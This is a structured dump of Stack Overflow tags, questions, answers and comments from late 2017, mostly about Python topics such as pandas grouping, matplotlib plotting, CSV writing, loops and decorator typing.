tags question: http://stackoverflow.com/q/46948672
tags question: http://stackoverflow.com/q/46936934
tags question: http://stackoverflow.com/q/46975731
tags question: http://stackoverflow.com/q/47047482
tags question: http://stackoverflow.com/q/46918272
tags question: http://stackoverflow.com/q/46991650
tags question: http://stackoverflow.com/q/47042903
tags question: http://stackoverflow.com/q/46994070
tags question: http://stackoverflow.com/q/47027753
tags question: http://stackoverflow.com/q/46966690
tags question: http://stackoverflow.com/q/47001892
tags question: http://stackoverflow.com/q/47042431
tags question: http://stackoverflow.com/q/46912803
tags question: http://stackoverflow.com/q/46945466
tags question: http://stackoverflow.com/q/46939151
tags question: http://stackoverflow.com/q/46953103
tags question: http://stackoverflow.com/q/47062262
tags question: http://stackoverflow.com/q/46991708
tags question: http://stackoverflow.com/q/46918404
tags question: http://stackoverflow.com/q/46980001
tags question: http://stackoverflow.com/q/47037033
tags question: http://stackoverflow.com/q/46944632
tags question: http://stackoverflow.com/q/47026871
tags question: http://stackoverflow.com/q/46971920
tags question: http://stackoverflow.com/q/46955855
tags question: http://stackoverflow.com/q/46953090
tags question: http://stackoverflow.com/q/47043225
tags question: http://stackoverflow.com/q/47058302
tags question: http://stackoverflow.com/q/46915295
tags question: http://stackoverflow.com/q/46944367
tags question: http://stackoverflow.com/q/47020728
tags question: http://stackoverflow.com/q/46991306

http://stackoverflow.com/comment/80967699
type: Comment
has text: Why are you using index-based assignment? `a[1]=a[1].reshape(`?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47010627

http://stackoverflow.com/comment/80817437
comment on: http://stackoverflow.com/q/46934716
type: QuestionComment
has text: @TomDalton that's for regular objects as well? ie ones not created by `Manager`?
score: 0
type: Comment

http://stackoverflow.com/a/46985614
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80918533
has comment: http://stackoverflow.com/comment/80918504
score: 3
upvote count: 3
type: Answer
answers question: http://stackoverflow.com/q/46985602
has body: Try this: nums = [1,2,3,4] &gt;&gt;&gt; if (1 in nums) and (2 in nums) and (3 in nums): ... print('ok') ... ok &gt;&gt;&gt; if (1 in nums) and (2 in nums) and (9 in nums): ... print('ok') ... &gt;&gt;&gt;
accepted answer of: http://stackoverflow.com/q/46985602

http://stackoverflow.com/a/47053762
type: Answer
score: 2
answers question: http://stackoverflow.com/q/47046687
has body: You can do it all in one line, if you wish. Making use of the pandas plotting wrapper and the fact that plotting a dataframe with several columns will group the plot. Given the definitions of df1 and df2 from the question, you can call pd.merge(df1,df2, how='outer', on=['hour']).set_index("hour").plot.bar() plt.show() resulting in Note that this leaves out the number 3 in this case as it is not part of any hour column in any of the two dataframes. To include it, use reset_index pd.merge(df1,df2, how='outer', on=['hour']).set_index("hour").reindex(range(24)).plot.bar()
upvote count: 2
downvote count: 0

hiveql
tag name: hiveql
tags question: http://stackoverflow.com/q/46914379
type: Tag

http://stackoverflow.com/a/46968379
has body: I think is this line minIndex = int(vote.index(min(vote))) You are trying to find min on a string list. so what you can def countVotes(voteList): candidatePreferences = [] for vote in voteList: vote = map(int, vote) minIndex = int(vote.index(min(vote))) candidatePreferences.append(minIndex) vote[minIndex] = 99999 return candidatePreferences After converting string list to Int list you can perform min operation. Please check and let me know.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46968168

http://stackoverflow.com/comment/80791214
has text: see my latest update, as I believe this is what you were intending originally.
score: 1
comment on: http://stackoverflow.com/a/46920286
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47029479
tagged with: seaborn
tagged with: matplotlib
has title: inner() got multiple values for argument 'ax'
tagged with: python
has body: In a Jupyter notebook with Python I am plotting a hexbin jointplot from two columns of a dataframe. The plot is correctly plotted but I cant manage to resize the picture. Here is the code: fig, ax = plt.subplots() fig.set_size_inches(11.7, 8.27) sns.jointplot(x=train['max1'], y=train['intangle'], kind="hex", color="#4CB391",ax=ax) plt.show() gut I get inner() got multiple values for argument 'ax'
upvote count: 6
score: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81005499
downvote count: 2
answer count: 1
accepted answer: http://stackoverflow.com/a/47043933
has comment: http://stackoverflow.com/comment/81015888
has answer: http://stackoverflow.com/a/47043933
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/23969619
tagged with: python-3.x

http://stackoverflow.com/a/46996759
answers question: http://stackoverflow.com/q/46996679
type: Answer
score: 0
has body: Its pretty simple..All you have to do is Just check the if condition only with startswith function, You don't need that should check with "== true".. Code is: with open("file","r") as readfile: for line in readfile: if line.startswith( ' ' ): print "Contains a line that starts with a space." else: print "Lines in file do not start with whitespace."

http://stackoverflow.com/a/47054281
score: 0
answers question: http://stackoverflow.com/q/47053658
has body: I have written a code for it. See if it helps. What I have done is to go on diving in till i can go (hope you understand this statement) and mark them as visited as they will no longer be required. At the end I filter out the root keys. numDict={'60':['4869'], '4869':['629'], '13':['2'], '629':['427']} l = list(numDict) # list of keys l1 = {i:-1 for i in numDict} # to track visited keys (initialized to -1 initially) for i in numDict: # if key is root and diving in is possible if l1[i] == -1 and numDict[i][0] in l: t = numDict[i][0] while(t in l): # dive deeper and deeper numDict[i].extend(numDict[t]) # update the value of key l1[t] = 1 # mark as visited t = numDict[t][0] # filter the root keys answer = {i:numDict[i] for i in numDict if l1[i] == -1} print(answer) Output: {'60': ['4869', '629', '427'], '13': ['2']}
type: Answer

http://stackoverflow.com/comment/80783443
has text: Hint. Consider the code `x = "Hello"; x.replace("H", "J"); print(x)`. What do you expect the output to be?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46918010

http://stackoverflow.com/q/46959066
tagged with: python
type: UnansweredQuestion
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80865560
has comment: http://stackoverflow.com/comment/80887905
has answer: http://stackoverflow.com/a/46959153
score: 3
upvote count: 3
answer count: 2
downvote count: 0
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46959190
has body: I have been struggling with this for a while now, maybe someone can help. I have a list of dictionaries. Each of these dictionaries should be written to a separate .csv file. How do I do this? What I have so far, which does not work: from openpyxl import * from openpyxl.styles import * import csv a = 1 b = 2 c = 3 d = 4 e = 5 f = 6 g = 7 h = 8 one = {'A':a,'B':b} two = {'C':c,'D':d} three = {'E':e,'F':f} four = {'G':g,'H':h} list = [one,two,three,four] def main(): for eachfilename, eachdict in enumerate(list): with open(eachfilename, 'w') as csvfile: writer = csv.writer(csvfile) for line in eachdict: writer.writerow(line) main() In the end I would like to have four .csv files looking like this: File1: A,a B,b File2: C,c D,d File3: ...
type: Question
tagged with: http://stackoverflow.com/tag/csv
has title: Writing multiple dictionaries to multiple csv files in Python 3.x

http://stackoverflow.com/q/46927649
has title: dealing with dataframe in python
tagged with: pandas
tagged with: dataframe
tagged with: python
has body: I started with a date frame composed by day, a column called wap and a list of products. For a given product, I calculated the results that are basically some operation in the column waps and saving in a new column. (Vide code above) NEG_00_04_p = waps_df1[waps_df1['produktname']=='NEG_00_04'] #one prodkt NEG_00_04 NEG_00_04_p = NEG_00_04_p.reset_index() NEG_00_04_p1 = [] NEG_00_04_p['Diff'] = -NEG_00_04_p['wap'].diff(-1) NEG_00_04_p['Diff'].shift(+1).fillna(0) NEG_00_04_p['Diff'] = NEG_00_04_p['NewColumn'].shift(+1).fillna(0) NEG_00_04_p['Result'] = NEG_00_04_p['NewColumn'] + NEG_00_04_p['wap'] As a result, I obtained this: index datum_von datum_bis produktname wap Diff 0 0 2017-10-10 2017-10-10 NEG_00_04 2.10 1.32 1 12 2017-10-11 2017-10-11 NEG_00_04 3.42 18.27 2 24 2017-10-12 2017-10-12 NEG_00_04 21.69 -4.92 3 36 2017-10-13 2017-10-13 NEG_00_04 16.77 -4.47 4 48 2017-10-14 2017-10-14 NEG_00_04 12.30 1.17 5 60 2017-10-15 2017-10-15 NEG_00_04 13.47 -4.18 6 72 2017-10-16 2017-10-16 NEG_00_04 9.29 1.40 7 84 2017-10-17 2017-10-17 NEG_00_04 10.69 -1.11 8 96 2017-10-18 2017-10-18 NEG_00_04 9.58 -1.62 Happens that in the initial date frame I have many products (12 in total) and many days which repeats for every product, such as: datum_von produktname wap 0 2017-10-10 NEG_00_04 2.10 1 2017-10-10 NEG_04_08 1.50 2 2017-10-10 NEG_08_12 0.50 3 2017-10-10 NEG_12_16 0.55 4 2017-10-10 NEG_16_20 0.52 5 2017-10-10 NEG_20_24 0.48 6 2017-10-10 POS_00_04 0.00 7 2017-10-10 POS_04_08 0.00 8 2017-10-10 POS_08_12 0.42 9 2017-10-10 POS_12_16 0.00 10 2017-10-10 POS_16_20 1.04 11 2017-10-10 POS_20_24 0.00 12 2017-10-11 NEG_00_04 3.42 13 2017-10-11 NEG_04_08 4.91 14 2017-10-11 NEG_08_12 0.31 15 2017-10-11 NEG_12_16 0.34 16 2017-10-11 NEG_16_20 0.45 17 2017-10-11 NEG_20_24 0.50 18 2017-10-11 POS_00_04 0.00 19 2017-10-11 POS_04_08 0.00 20 2017-10-11 POS_08_12 0.12 21 2017-10-11 POS_12_16 0.00 22 2017-10-11 POS_16_20 1.28 23 2017-10-11 POS_20_24 0.00 24 2017-10-12 NEG_00_04 21.69 25 2017-10-12 N…
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/46928174
has answer: http://stackoverflow.com/a/46928174
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/68290080
answers question: http://stackoverflow.com/q/47060133
has comment: http://stackoverflow.com/comment/133744746
has comment: http://stackoverflow.com/comment/136060150
type: Answer
has comment: http://stackoverflow.com/comment/131336869
has body: PEP 612 was accepted after the accepted answer, and we now have typing.ParamSpec and typing.Concatenate in Python 3.10. With these variables, we can correctly type some decorators that manipulate positional parameters. The code in question can be typed like this: from typing import Callable, ParamSpec, Concatenate, TypeVar Param = ParamSpec("Param") RetType = TypeVar("RetType") def get_authenticated_user()->str: return "John" def inject_user() -> Callable[[Callable[Param, RetType]], Callable[Concatenate[str, Param], RetType]]: def decorator(func: Callable[Param, RetType]) -> Callable[Concatenate[str, Param], RetType]: def wrapper(user: str, *args:Param.args, **kwargs:Param.kwargs) -> RetType: user = get_authenticated_user() if user is None: raise Exception("Don't!") return func(*args, **kwargs) return wrapper return decorator @inject_user() def foo(a: int) -> bool: return bool(a % 2) reveal_type(foo) # # I: Revealed type is "def (builtins.str, a: builtins.int) -> builtins.bool" foo("user", 2) # Type check OK foo("no!") # E: Missing positional argument "a" in call to "foo" [call-arg] foo(3) # # E: Missing positional argument "a" in call to "foo" [call-arg] # E: Argument 1 to "foo" has incompatible type "int"; expected "str" [arg-type]
has comment: http://stackoverflow.com/comment/136835758
has comment: http://stackoverflow.com/comment/137091216
downvote count: 0
has comment: http://stackoverflow.com/comment/128051495
score: 98
upvote count: 98

http://stackoverflow.com/q/46987035
type: Question
has answer: http://stackoverflow.com/a/62800570
type: UnansweredQuestion
tagged with: pyspark
has answer: http://stackoverflow.com/a/62798515
tagged with: python
upvote count: 4
score: 4
has title: Broadcast join in Pyspark got OnOutOfMemoryError
answer count: 2
has body: I use broadcast join in pyspark on a not very large dataframe, but got oom error. Code is very easy as follow: from pyspark.sql.functions import broadcast df1 = sc.read.parquet("xxx") df2 = sc.read.parquet("xxx") df = df1.join(broadcast(df2), on=["key"]) after some seconds i got OOM error # java.lang.OutOfMemoryError: Java heap space # -XX:OnOutOfMemoryError="kill -9 %p" # Executing /bin/sh -c "kill -9 26024"... df2 is not very larget, 1868895 lines. The hdfs file is about 142M. I can easily load all data in driver code and use it as a UDF there is no problem. But when using broadcast join, the OOM appear. My configuration is as follow: spark.python.worker.memory=2048m spark.executor.memory=8g spark.driver.memory=7g
downvote count: 0
tagged with: java
favorite count: 0

http://stackoverflow.com/comment/80798147
has text: what is the output of print( dir(tf))?
comment on: http://stackoverflow.com/q/46925583
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47025194
has body: I made a rock,paper scissors game which works fine, but I would like to add a score for both the user and AI, counting how many times each has won. I tried dedicating a pair of score variables and and then adding 1 to it each time but it keeps giving 0. I kept the increments in the first if statement to show what I mean. I also tried the string.count and it didn't work. Any help would be appreciated. import sys from random import randint import math choice1=input("would you like to play a game of rock,paper and scissors: ") while choice1=="yes": choice2=input("please choose rock,paper or scissor: ") computer=randint(1,3) score=0 score2=0 if choice2 in ("rock","paper","scissor"): if computer==1: print("You have chosen "+ choice2 + " and the computer has chosen rock ") if choice2=="rock": print("It'/s a draw ") elif choice2=="paper": print("You win! ") score + 1 elif choice2=="scissor": print("You lose :( ") score2 + else: sys.exit() elif computer==2: print("You have chosen " + choice2 + " and the computer has chosen paper ") if choice2=="rock": print("You lost :( ") elif choice2=="paper": print("It'/s a draw") elif choice2=="scissor": print("You won! ") else: sys.exit() elif computer==3: print("You have chosen " + choice2 + " and the computer has chosen scissor ") if choice2=="rock": print("You won! ") elif choice2=="paper": print("you lost :( ") elif choice2=="scissor": print("It'/s a draw ") else: sys.exit() choice3=input("Would you like to play again? Type yes or no: ") if choice3=="no": print (score) print (score2) sys.exit() else: sys.exit() else: print("GoodBye") sys.exit()
type: Question
has title: python counting score in a loop
possible better answer: http://stackoverflow.com/a/47025298
has comment: http://stackoverflow.com/comment/80997560
has answer: http://stackoverflow.com/a/47025227
accepted answer: http://stackoverflow.com/a/47025227
tagged with: python
tagged with: counting
has answer: http://stackoverflow.com/a/47025298
type: AnsweredQuestion
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/80997489

http://stackoverflow.com/q/46982965
tagged with: pandas-groupby
has answer: http://stackoverflow.com/a/46983200
tagged with: pandas
has title: Pandas Condensing Grouping
has body: I am currently trying to use the groupby function in Pandas to conglomerate some CSV data. This is a small sample of the data I have currently in a CSV: Company,School,Number,Type Adtelem Global Education Inc.,Carrington,3,For-Profit Adtelem Global Education Inc.,Carrington,4,For-Profit Adtelem Global Education Inc.,Carrington,1,For-Profit Adtelem Global Education Inc.,Carrington,4,For-Profit Adtelem Global Education Inc.,Carrington,3,For-Profit Adtelem Global Education Inc.,Carrington,3,For-Profit Adtelem Global Education Inc.,DeVry Institute of Technology,4,For-Profit Adtelem Global Education Inc.,DeVry Institute of Technology,4,For-Profit Adtelem Global Education Inc.,DeVry Institute of Learning,16, For-Profit Adtelem Global Education Inc.,DeVry Institute of Learning,9, Career Education Corporation,Le Cordon Blue College of Culinary Arts,6,For-Profit Career Education Corporation,Le Cordon Blue College of Culinary Arts,23,For-Profit As it currently stands, there are a number of repetitions of the same "School" column (Carrington, Devry, etc.), and I want to condense them down. More specifically, I want to have 1 row for every unique school that also sums the Number for all instances of that school, but retains the name of the company that owns that school (the first column) and the type of the school (the last column). The final product would look like this: Company,School,Number,Type Adtelem Global Education Inc.,Carrington,18,For-Profit, Adtelem Global Education Inc., DeVry Institute of Technology,8,For-Profit Adtelem Global Education Inc.,DeVry Institute of Learning,25,For-Profit Career Education Corporation,Le Cordon Blue College of Culinary Arts,29,For-Profit I have used the following code: data2 = data.groupby("School").sum() However, when I do this I also lose the Company and Type attached to each school. I know the solution is rather basic, but I am new to Pandas, so any help you all can provide would be greatly appreciated!
accepted answer: http://stackoverflow.com/a/46983200
type: Question
possible better answer: http://stackoverflow.com/a/46983115
has answer: http://stackoverflow.com/a/46983115
tagged with: dataframe
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 2

http://stackoverflow.com/q/46944952
upvote count: 1
tagged with: python
has title: Finding matching values across columns in a pandas dataframe
has answer: http://stackoverflow.com/a/46945045
favorite count: 0
type: AnsweredQuestion
tagged with: pandas
score: 1
has body: Is there a built-in function that allows for selecting only rows that have matching column values in pandas? As an example, I have a pandas dataframe that is composed of columns of users, each movie item they have rated, and the rating they have given it (see below). Is there a way using numpy or pandas to quickly select only the movies that both users have rated? In other words, output a list/array/dataframe of all movies that have been rated by the user in question (a) and every other user? In the example below, all users have rated movie 7. Therefore for a query of user (a)=8 would ideally output the all the common ratings for this user and every other one. user movie rating 8 7 5.0 8 1333 3.0 50 3321 1.0 50 3363 2.0 50 7 3.0 83 50 4.0 83 7 5.0 etc etc etc output for user 8 50 7 3.0 83 7 5.0
accepted answer: http://stackoverflow.com/a/46945034
has answer: http://stackoverflow.com/a/46945034
type: Question
tagged with: numpy
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/46945045

http://stackoverflow.com/comment/80830922
has text: This is the exact error I get: UnicodeEncodeError: 'ascii' codec can't encode character '\u203e' in position 0: ordinal not in range(128)
comment on: http://stackoverflow.com/q/46941712
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80836474
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46944456
type: Comment
has text: Did you paste this text into idle with my code to test it because adding this seems to just make the output have each letter take up a line without taking away \n and the output text is unchanged.

http://stackoverflow.com/q/47020225
tagged with: python-3.x
has title: Check for exact input and repeat until correct answer given
has comment: http://stackoverflow.com/comment/80987182
tagged with: while-loop
linked to: http://stackoverflow.com/q/23294658
tagged with: if-statement
tagged with: input
tagged with: python
duplicate of: http://stackoverflow.com/q/23294658
has comment: http://stackoverflow.com/comment/80987281
has comment: http://stackoverflow.com/comment/80987097
score: 0
answer count: 0
type: UnansweredQuestion
has body: I have never asked a question as it makes me nervous and I'm a potato. I'm very new and feel intimidated asking but I want to code and I can't because I'm stuck. I'm trying to make a text based game. this game requires specific input. and I'm trying to def a block of code specifically for that but I'm coming up with nothing. So anyway, Here's what I'm trying to do. First there's user input. just a single word to make things easier on myself. based on what they type the program will do one of several different things. To prevent the program from crashing I need input to be specific or either the program will crash, or nothing will happen, or it will loop forever. Now I've tried looking up answers, I tried coming up with my own, I've looked all through stack overflow, I tried youtube... So this is what I've tried, and nothing has worked and for all intents and purposes... it seriously looks to me like it should work... why is it not working?! :'( while True: print('what direction?') path1 = input() path = path1.lower() if path1 != 'south': print('north or south?') elif path1 != 'north': print('north or south?') elif path == 'north': print(path) break elif path == 'south': print(path) break (doesn't work just loops) while True: print('what direction?') direc = input() direc = direc.lower() if direc in x: print('you chose ' + direc) break elif direc not in 'abcdefghijklmnopqrstuvwxyz': print('letters only') else: break (ends up accepting any input except it does print 'letters only' if a number is inputted) The rest were kind of variations of this, I also tried to put north and south in a list and do it that way but it didn't work either. Please help me figure out what the best way is to define a function that forces the player to pick a specific option otherwise repeat the question until correct input is provided. &lt;3 Please and thank you to everyone.
type: Question

http://stackoverflow.com/comment/81065946
comment on: http://stackoverflow.com/q/47059212
score: 0
has text: There is nothing wrong with it, I am purely looking for alternatives, as I cannot find any on the web.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/80846044
type: AnswerComment
comment on: http://stackoverflow.com/a/46949128
type: Comment
has text: The complexity to sufficient that you should include this in your question, and detail how you plan to divide the work into parallel streams (regardless of the file read)
score: 0

http://stackoverflow.com/q/46934539
type: Question
has answer: http://stackoverflow.com/a/46935307
tagged with: google-style-guide
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80817272
has title: Properly document a constructor passed as parameter
has body: I'm trying to figure out what is the properly way to document a function that receives a class constructor as parameter . I'm using Google style docstring. Example: class MyClass: def __init__(self): ... def my_func(param1, class_constructor): """Example function. Args: param1 (int): ... class_constructor (???): My class constructor. """ class_instance = class_constructor() ... my_func(12, MyClass)
has comment: http://stackoverflow.com/comment/80816875
score: 0
has comment: http://stackoverflow.com/comment/80818620
answer count: 1
tagged with: docstring
tagged with: documentation

http://stackoverflow.com/comment/80823039
has text: Possible duplicate of [Python - Find the greatest number in a list of numbers](https://stackoverflow.com/questions/3090175/python-find-the-greatest-number-in-a-list-of-numbers)
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46937806

http://stackoverflow.com/q/46944162
has comment: http://stackoverflow.com/comment/80835879
downvote count: 0
has answer: http://stackoverflow.com/a/46944583
tagged with: python
accepted answer: http://stackoverflow.com/a/46944241
has body: running Windows 10 From what I understand python3 has tab completion in the python console already built in but this isn't working for me. When I hit tab there is no completion: Im aware there are modules that can do this, but I'd like to use the native feature if it is available to me on windows.
linked to: http://stackoverflow.com/q/3701646
answer count: 6
has answer: http://stackoverflow.com/a/58110210
has answer: http://stackoverflow.com/a/46944241
type: AnsweredQuestion
score: 48
has title: python console tab completion not working in windows
upvote count: 48
has comment: http://stackoverflow.com/comment/80835905
has answer: http://stackoverflow.com/a/79328419
favorite count: 0
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/71186211
has answer: http://stackoverflow.com/a/66833219
has answer: http://stackoverflow.com/a/71186211

http://stackoverflow.com/comment/80902256
type: Comment
comment on: http://stackoverflow.com/q/46977186
score: 0
type: QuestionComment
has text: i am use python 3.6.1 and opencv 3.0

http://stackoverflow.com/comment/80928535
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46962422
has text: That's great @George_E! Stick with it! :)

http://stackoverflow.com/q/46982671
accepted answer: http://stackoverflow.com/a/46982848
has answer: http://stackoverflow.com/a/46982739
type: AnsweredQuestion
answer count: 3
downvote count: 0
upvote count: 1
score: 1
favorite count: 0
tagged with: python-3.x
has title: Python sum of second and third element of tuple in list of tuples grouped by first
has answer: http://stackoverflow.com/a/46982791
type: Question
has answer: http://stackoverflow.com/a/46982848
linked to: http://stackoverflow.com/q/2249036
has body: How do you get the sum of second and third values in a list of tuples grouped by the first value? I.e: list_of_tuples = [(1, 3, 1), (1, 2, 4), (2, 1, 0), (2, 2, 0)] expected_output = [(1, 5, 5), (2, 3, 0)] I found several great answers on StackOverflow doing this found tuples with two values, but couldn't figure out how to adjust them for summing both second and third values. One of the good answers for just the second value was this: def sum_pairs(pairs): sums = {} for pair in pairs: sums.setdefault(pair[0], 0) sums[pair[0]] += pair[1] return sums.items()
tagged with: python
possible better answer: http://stackoverflow.com/a/46982739

http://stackoverflow.com/a/47001283
score: 3
upvote count: 3
downvote count: 0
has body: You can right click on the idle then you will can see location of it in the properties tab Navigate to that location and call as below C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Python 2.7&gt;"IDLE (Python GUI).lnk" C:\Python27\projects\ping.py
answers question: http://stackoverflow.com/q/47001108
type: Answer

http://stackoverflow.com/comment/80978926
comment on: http://stackoverflow.com/q/47016201
has text: why not if `max_length=42,` ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47016888
has body: This application needs to be able to start and stop a periodic heartbeat message before and after various other user initiated tasks. Using @Matthew's Monitor class as an example, there is no periodic Heartbeat message sent printed when starting the message or indication that the message is being sent. There is also no error message indicating why the periodic task has not started - just the print messages for opStartHeartbeat and opStopHeartbeat. What is missing? def opHeartbeat(): ... zocket.send(opMsg) print "Heartbeat message sent" class HeartbeatClass(object): def __init__(self): self.schedule = sched.scheduler(time.time, time.sleep) self._running = False def periodic(self, action, actionargs=()): if self._running: self.event = self.schedule.enter(HEARTBEAT_INTERVAL, 1, self.periodic, (action, actionargs)) action(*actionargs) def start(self): self._running = True self.periodic(opHeartbeat) self.schedule.run() def stop(self): self._running = False if self.schedule and self.event: self.schedule.cancel(self.event) heartbeat = HeartbeatClass() def opStartHeartbeat(): global HEARTBEAT_INTERVAL HEARTBEAT_INTERVAL = raw_input('Enter Heartbeat period: ') heartbeat.start() def opStopHeartbeat(): heartbeat.stop() print " Heartbeat stopped" def opMenuChoice(option): ... elif (option == 31): opStartHeartbeat() elif (option == 32): opStopHeartbeat() return while (option != 99): option = raw_input('Enter menu option: ') opMenuChoice(option)
tagged with: python
accepted answer: http://stackoverflow.com/a/47016986
type: Question
has answer: http://stackoverflow.com/a/47016986
answer count: 1
downvote count: 0
upvote count: 1
score: 1
tagged with: scheduled-tasks
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/12907581
has title: How to start and stop a periodic background task?

http://stackoverflow.com/q/47041288
has body: I have the following route: @detail_route(methods=['post'], permission_classes=[IsOperator], schema=AutoSchema(manual_fields=[ coreapi.Field('size', location='query', schema={'type': 'number', 'example': 1024}), coreapi.Field('filename', location='query', schema={'type': 'string', 'example': 'telemetry.tlog'}) ])) def get_upload_url(self): # ... When I go to a view that shows my schema, I get: I get the following error: AttributeError: 'AutoSchema' object has no attribute '_view' Stack trace: File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/django/core/handlers/exception.py" in inner 41. response = get_response(request) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/django/core/handlers/base.py" in _get_response 187. response = self.process_exception_by_middleware(e, request) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/django/core/handlers/base.py" in _get_response 185. response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/django/views/decorators/csrf.py" in wrapped_view 58. return view_func(*args, **kwargs) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/django/views/generic/base.py" in view 68. return self.dispatch(request, *args, **kwargs) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/rest_framework/views.py" in dispatch 489. response = self.handle_exception(exc) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/rest_framework/views.py" in handle_exception 449. self.raise_uncaught_exception(exc) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/rest_framework/views.py" in dispatch 486. response = handler(request, *args, **kwargs) File "/Users/frederikcreemers/.virtualenvs/theproject/lib/python2.7/site-packages/rest_framework_swag…
tagged with: django
upvote count: 1
tagged with: django-rest-framework
favorite count: 0
type: AnsweredQuestion
score: 1
has title: How to pass a custom schema to a drf detail_route?
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/47077580
has answer: http://stackoverflow.com/a/47077580
answer count: 1
downvote count: 0

http://stackoverflow.com/q/46907254
has answer: http://stackoverflow.com/a/46907416
has title: Output formatting of a list
favorite count: 0
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/46907358
type: UnansweredQuestion
score: -3
tagged with: os.walk
upvote count: 0
downvote count: 3
has body: Have a piece of code in python : print (sorted([(r,len(f)) for r,d,f in os.walk(directory_path)],key=lambda x : x[1],reverse = True)) which gives output like : [('/etc/ssl/certs', 595), ('/etc/alternatives', 109), ('/etc/', 73), ('/etc/init.d', 52),('/etc/dovecot/conf.d', 27)] I want something like (without storing it to a variable): ('/etc/ssl/certs', 595) ('/etc/alternatives', 109) ('/etc/', 73) ('/etc/init.d', 52) ('/etc/dovecot/conf.d', 27)]
tagged with: output-formatting
has comment: http://stackoverflow.com/comment/80761502
tagged with: python

loops
tags question: http://stackoverflow.com/q/47024825
tags question: http://stackoverflow.com/q/46973545
tags question: http://stackoverflow.com/q/47032794
tags question: http://stackoverflow.com/q/47020728
tags question: http://stackoverflow.com/q/46934670
tags question: http://stackoverflow.com/q/46917750
tags question: http://stackoverflow.com/q/46989804
tags question: http://stackoverflow.com/q/46982854
tags question: http://stackoverflow.com/q/46978706
tags question: http://stackoverflow.com/q/47022016
tags question: http://stackoverflow.com/q/47045266
tags question: http://stackoverflow.com/q/47041267
tags question: http://stackoverflow.com/q/47047760
tags question: http://stackoverflow.com/q/46996801
tags question: http://stackoverflow.com/q/47054324
tags question: http://stackoverflow.com/q/47060775
tags question: http://stackoverflow.com/q/46970671
tag name: loops
tags question: http://stackoverflow.com/q/47006071
tags question: http://stackoverflow.com/q/46991055
tags question: http://stackoverflow.com/q/47002129
tags question: http://stackoverflow.com/q/46981247
tags question: http://stackoverflow.com/q/46997855
tags question: http://stackoverflow.com/q/46921311
tags question: http://stackoverflow.com/q/46997543
tags question: http://stackoverflow.com/q/46908897
tags question: http://stackoverflow.com/q/47017541
tags question: http://stackoverflow.com/q/46975135
tags question: http://stackoverflow.com/q/46973591
tags question: http://stackoverflow.com/q/47062493
tags question: http://stackoverflow.com/q/46964580
tags question: http://stackoverflow.com/q/46961080
tags question: http://stackoverflow.com/q/47004665
tags question: http://stackoverflow.com/q/46986965
tags question: http://stackoverflow.com/q/46919258
tags question: http://stackoverflow.com/q/46918600
tags question: http://stackoverflow.com/q/47045027
tags question: http://stackoverflow.com/q/46931785
tags question: http://stackoverflow.com/q/46939745
tags question: http://stackoverflow.com/q/46943618
tags question: http://stackoverflow.com/q/46915406
tags question: http://stackoverflow.com/q/46929248
tags question: http://stackoverflow.com/q/46950173
tags question: http://stackoverflow.com/q/47046578
tags question: http://stackoverflow.com/q/47043427
type: Tag
tags question: http://stackoverflow.com/q/47002035
tags question: http://stackoverflow.com/q/47059256
tags question: http://stackoverflow.com/q/46916463
tags question: http://stackoverflow.com/q/46973225
tags question: http://stackoverflow.com/q/46953597
tags question: http://stackoverflow.com/q/46950347
tags question: http://stackoverflow.com/q/47040526

nested
tags question: http://stackoverflow.com/q/47047549
tag name: nested
type: Tag
tags question: http://stackoverflow.com/q/46990015
tags question: http://stackoverflow.com/q/47023282
tags question: http://stackoverflow.com/q/46983905
tags question: http://stackoverflow.com/q/46993495
tags question: http://stackoverflow.com/q/47000214
tags question: http://stackoverflow.com/q/46988309
tags question: http://stackoverflow.com/q/46991306
tags question: http://stackoverflow.com/q/47001912
tags question: http://stackoverflow.com/q/46994348
tags question: http://stackoverflow.com/q/46949489
tags question: http://stackoverflow.com/q/46983006

http://stackoverflow.com/comment/80788521
comment on: http://stackoverflow.com/a/46919993
type: Comment
has text: It may be LibreOffice thing. Try double back slashes \\ instead of single infront of % and see if helps.
score: 0
type: AnswerComment

matplotlib
tags question: http://stackoverflow.com/q/47057509
tags question: http://stackoverflow.com/q/46908085
tags question: http://stackoverflow.com/q/47024366
tags question: http://stackoverflow.com/q/47045260
tags question: http://stackoverflow.com/q/46913989
tags question: http://stackoverflow.com/q/46922203
tags question: http://stackoverflow.com/q/47043847
